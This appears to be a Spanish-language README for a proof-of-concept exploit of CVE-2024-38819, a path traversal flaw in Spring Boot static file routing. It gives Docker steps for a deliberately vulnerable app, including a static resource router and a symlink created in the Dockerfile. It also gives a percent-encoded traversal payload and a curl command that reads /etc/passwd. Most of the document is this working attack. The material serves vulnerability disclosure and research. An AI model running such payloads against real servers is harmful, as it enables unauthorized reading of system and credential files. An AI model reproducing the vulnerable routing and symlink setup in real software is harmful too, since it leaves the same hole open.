
Exploit de prueba de concepto para CVE-2024-38819, que demuestra un recorrido de directorio mediante enlaces simbólicos y codificación porcentual en el enrutamiento de archivos estáticos de Spring Boot.
Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38819, la cual reporté, demostrando un exploit de path traversal.
Construir la imagen Docker (Spring Boot 3.3.4, basado en Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Ejecutar el contenedor y exponer el puerto 8080 a la máquina host
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Ejecute el siguiente comando para ejecutar el PoC y confirmar la vulnerabilidad
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si el ataque es exitoso, se mostrará el contenido del archivo /etc/passwd.
Cree PathTraversalDemoApplication.java con el siguiente código para configurar el enrutamiento de archivos estáticos usando RouterFunction y FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Agregue el siguiente comando al Dockerfile para crear un enlace simbólico:
RUN ln -s /static /app/static/link
Cree un payload que aproveche el porcentaje de codificación (percent-encoding) para atravesar directorios a través del enlace simbólico.
/static/link/%2e%2e/etc/passwdUse el siguiente comando curl para ejecutar el PoC y verificar si el ataque es exitoso:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si el ataque es exitoso, se mostrará el contenido del archivo /etc/passwd.
Este PoC se proporciona con fines educativos y de investigación en seguridad. Antes de usarlo en un sistema real, asegúrese de que la vulnerabilidad haya sido corregida y de tener la autorización adecuada. El autor no asume ninguna responsabilidad por el mal uso de este código.